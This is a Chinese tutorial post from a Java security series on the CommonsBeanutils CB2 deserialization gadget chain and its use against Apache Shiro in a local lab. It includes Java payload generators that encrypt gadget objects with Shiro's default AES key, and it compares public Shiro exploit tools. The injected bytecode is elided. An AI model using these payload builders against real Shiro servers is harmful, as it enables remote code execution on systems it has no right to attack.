本文为JAVA安全系列文章第二十篇,主要学习shiro无依赖利用及了解常见shiro利用工具中的利用链。
0x01 CB2链
一、CB1与CB2的区别
CB2这条链是我在su18师傅改造的Ysoserial中看到的,是由CB1改造来的,可以看作是无CC依赖的CB1改造链。
CB2与CB1的区别是在创建BeanComparator对象时使用的构造器和传入参数不一样。
CB2中是这样的:
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
CB1中是这样的:
BeanComparator comparator = new BeanComparator();
或者这样的:
BeanComparator comparator = new BeanComparator("lowestSetBit");
二、CB2是CB1的无CC依赖改造链
仅是构造器不同,怎么CB2就成了无CC依赖的CB1了呢?
我们来看下BeanComparator的构造器:
通过观察可以发现,CB1链其实是用的第二个构造器,无参构造器中传入的property为null;而第二个构造器实际上是调用了第三个构造器,当我们未指定Comparator时,会默认Comparator为ComparableComparator.getInstance()。
我们跟进看一下:
可以看到ComparableComparator这个类在org.apache.commons.collections.comparators包中,故CB1链是依赖于commons-collections的。
那么要改造CB1使其不依赖于commons-collections那就得从创建BeanComparator时传入的Comparator做文章了,需满足下面两点:
(1)实现实现 java.util.Comparator和java.io.Serializable 接口
(2)Java或commons-beanutils自带,且兼容性强。
我们可以通过IDEA的Go to-->Implementation(s)功能去找:
我们找到java.lang.String的静态私有内部类CaseInsensitiveComparator:
可以看到,虽是私有内部类,但可以通过Sring的静态属性CASE_INSENSITIVE_ORDER拿到它。故只需将CB1中构造的BeanComparator对象为:
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
即可改造CB1为无CC依赖的CB2。
完整代码如下:
public class CB2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("y...CABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入property为空,防止add时触发PropertyUtils.getProperty()
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
//此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
queue.add("1");
queue.add("2");
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
三、CB3和CB4(留坑)
在su18师傅改造的Ysoserial中还有CB3和CB4链,但这两个链使用到了com.sun.rowset.JdbcRowSetImpl和com.sun.jndi.ldap.LdapAttribute,这涉及到了JNDI的知识,我们还没学,故此处留个坑,等学了JNDI我们再来看CB3、CB4及其相关的链。
0x02 CB1和CB2打Shiro
上面我们只是从理论上说了CB1依赖CC,CB2不依赖CC。那怎么通过实践来证明呢?
用CB1和CB2打下shiro就知道了。
一、环境准备
我们还是使用JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链一文中用到的p神的shirodemo。
为什么使用这个环境呢?
因为当我们通过maven导入需要的依赖后,会发现commons-beanutils这个依赖也加入到了项目中,也就是说shiro本身是依赖commons-beanutils的。
二、CB1打shiro-有CC
我们按照学习CCK1,CC11链时打shiro的方法来用CB1打shiro。当我们通过burp将payload发给shiro时,并未弹出计算器,而是报出如下错:
java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
原因在于生成Payload时本地的commons-beanutils为1.9.2版本,而shiro1.2.4版本中自带的commons-beanutils为1.8.3版本:
这两个版本中BeanComparator的serialVersionUID不一样。
什么是serialVersionUID?
引用p神在《JAVA安全漫谈》中说的:
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。当然,开发者也可以手工给类赋予一个serialVersionUID 值,此时就能手工控制兼容性了。
我们将本地的commons-beanutils换为1.8.3版本就行了。
修改后生成Payload,再次发送,成功弹出计算器:
生成Payload的完整代码如下:
public class CB1ShiroAttack_183 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
byte[] payloads = CB1ShiroPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext);
}
public static byte[] CB1ShiroPayload() throws NoSuchFieldException, IllegalAccessException, IOException {
byte[] code = Base64.getDecoder().decode("y...c=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入property为空,防止add时触发PropertyUtils.getProperty()
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
return bos.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
三、CB1打shiro-无CC
当然,之前为了演示CC链打shiro,环境中是加入了CC依赖的,但实际场景下,目标可能并没有安装commons-collections。我们将shirodemo中的CC依赖去掉,更新Maven:
可以看到,shiro自带的commons-beanutils中仅包含了一小部分的commons-collections。
我们重新启动环境,使用刚才的Payload再打过去,并没有弹出计算器,而是报出如下错:
org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
原因就在于shiro中的commons-collections并没有包含ComparableComparator这个类。
四、CB2打shiro-无CC
需要注意,此时我们本地的commons-beanutils=1.8.3。
我们使用CB2生成Payload并通过burp发送,成功弹出计算器:
生成Payload的完整代码如下:
public class CB2ShiroAttack_183 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
byte[] payloads = CB1ShiroPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext);
}
public static byte[] CB1ShiroPayload() throws NoSuchFieldException, IllegalAccessException, IOException {
byte[] code = Base64.getDecoder().decode("y...c=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入property为空,防止add时触发PropertyUtils.getProperty()
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
//此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
queue.add("1");
queue.add("2");
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
return bos.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
0x03 几款shiro利用工具中的利用链
一、j1anFen shiro_attack中的利用链
j1anFen师傅的shiro_attack是一款常用的shiro利用工具
项目地址:https://github.com/j1anFen/shiro_attack/releases
最新版本为shiro_attack-2.2,看下里面的利用链有哪些:
CB1需要commons-beanutils=1.9.2且commons-collections <=3.2.1
CC2需要commons-collections 4.0
CC3中含有长度为2的Transformer数组,通过前面CCK1,CC11的学习,可以知道在不修改tomcat启动设置的情况下无法直接用于打shiro,且有jdk版本限制,并不是一条好的利用链。
CCK1,CCK2都需要CC依赖
仅OnlyCommonsBeanutils(其实就是我们的CB2)为无依赖的利用链:
但我通过解压jar包中,在META-INF\maven\commons-beanutils\commons-beanutils\pom.xml找到它使用的commons-beanutils为1.9.2版本:
故此工具可以在有CC依赖时找到利用链;无依赖时,只能在使用了commons-beanutils=1.9.2的高版本shiro中才能找到利用链。
二、safe6Sec ShiroExp中的利用链
项目地址:https://github.com/safe6Sec/ShiroExp
看看它的利用链:
与上一款相比多了CC4和CB183NOCC,CB192NOCC。
CC4中也有一个长度为2的Transformer数组,我不认为CC3和CC4这两条链在不修改tomcat启动设置时能用得上。
CB192NOCC就是本文的CB2,CB183NOCC就是本文的CB2ShiroAttack_183。
该项目中的commons-beanutils=1.9.2,在CB183NOCC中使用到了javassist将BeanComparator的serialVersionUID改为了-3490850999041592962L(commons-beanutils=1.8.3版中BeanComparator的serialVersionUID值):
此工具在CC和无依赖下都能找到利用链。
三、SummerSec ShiroAttack2
项目地址:https://github.com/SummerSec/ShiroAttack2
这款工具是j1anFen shiro_attack的改造加强版,应该是使用量最多的了,支持高版本shiro GCM加密,支持各种回显和内存马注入。
目前最新版为shiro_attack-4.5.6-SNAPSHOT-all,来看下它的利用链:
同样有CCK1,CCK2,CC2,CC3,CB1。
CB1_183其实就是本文中的CB1ShiroAttack_183,只不过它使用到了javassist将serialVersionUID改为-3490850999041592962L
CBString及其相关链其实就是BeanComparator对象中的Comparator为String.CASE_INSENSITIVE_ORDER,支持CB=1.8.3和CB=1.9.2,也就是本文的CB2,CB1ShiroAttack_183,CB2ShiroAttack_183
相比于其他工具,新增定制了CBAttrCompare,CBObjectToStringComparator,CBPropertySource三条CB链。
需要说明的是,原作者的源码似乎有些问题,此处建议看su18师傅改造的Ysoserial中的源码:
ShiroAttack2主要是对shiro进行了"定制化",有很多CB链。但碰到只能JRMP利用的场景时,也会错失一个shell。
四、wyzxxz shiro_rce_tool和feihong ShiroExploit
项目地址:https://github.com/wyzxxz/shiro_rce_tool
https://github.com/feihong-cs/ShiroExploit-Deprecated
其中shiro_rce_tool的利用链:
ShiroExploit利用链:
shiro_rce_tool可以看作是feihong ShiroExploit的加强版,feihong ShiroExploit主要是在Ysoserial中链的基础上增加了CC8-CC10,shiro_rce_tool在ShiroExploit的基础上增加了CCK1-4(个人觉得CCK3和CCK4并不适用)。
feihong和wyzxxz这两款虽然给人感觉比较"笨重",没有进行shiro的"定制化",但拥有其他几款工具没有的特点:
那就是假如目标环境中的CC和CB都不是漏洞版本,却存在其他依赖的漏洞版本,比如目标仅支持JRMP的利用方式,那就错失shell了。
0x04 总结
一、shiro主流利用链
纯CC依赖下的CCK1,CCK2,CC2,CC10/CC11
CB+CC依赖下的CB1(需CB=1.9.2),CB1ShiroAttack_183(需CB=1.8.3)
无依赖利用:CB=1.9.2时有CB2;CB=1.8.3时有本文的CB2ShiroAttack_183,本文的这几条CB链在不同利用工具中叫法不一样
另外还有SummerSec ShiroAttack2中的“定制化”CB链,有些还需要其他依赖。
二、常用几款shiro利用工具对比及新工具开发思路
本文仅从利用链角度,简单比较了几款常用shiro利用工具,不能说哪款工具一定好,哪款一定不好,都各有优缺点。目前还没有一款综合了这几款工具优点的shiro利用工具开源出来。所以,在获取到shiro key但找不到利用链的情况下,多用几款工具试下。
另外,对于新工具开发的思路,其中的利用链,推荐参考su18师傅改造的Ysoserial,项目地址:https://github.com/su18/ysoserial,这里总结的链子比较齐全,我们可以去除掉一些包含非java自身数组的利用链或改造(在JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链一文中提到过,需要添加tomcat启动设置,或者设置loader才能使得tomcat加载第三方数组),进行定制化,这样就可以打造出一款更强的shiro利用工具了。
本人代码水平很菜,希望有大佬能花时间去改造,然后开源出来。(我是白嫖怪,狗头)
三、关于未分析的其他CB链
CB3,CB4以及SummerSec ShiroAttack2中的其他CB链,后续再更,CB链暂时就到此。
下一篇学习JDK7u21这条原生链。
参考:
p神《JAVA安全漫谈》
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
第17篇:JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链
第19篇:JAVA安全|Gadget篇:Ysoserial CB1链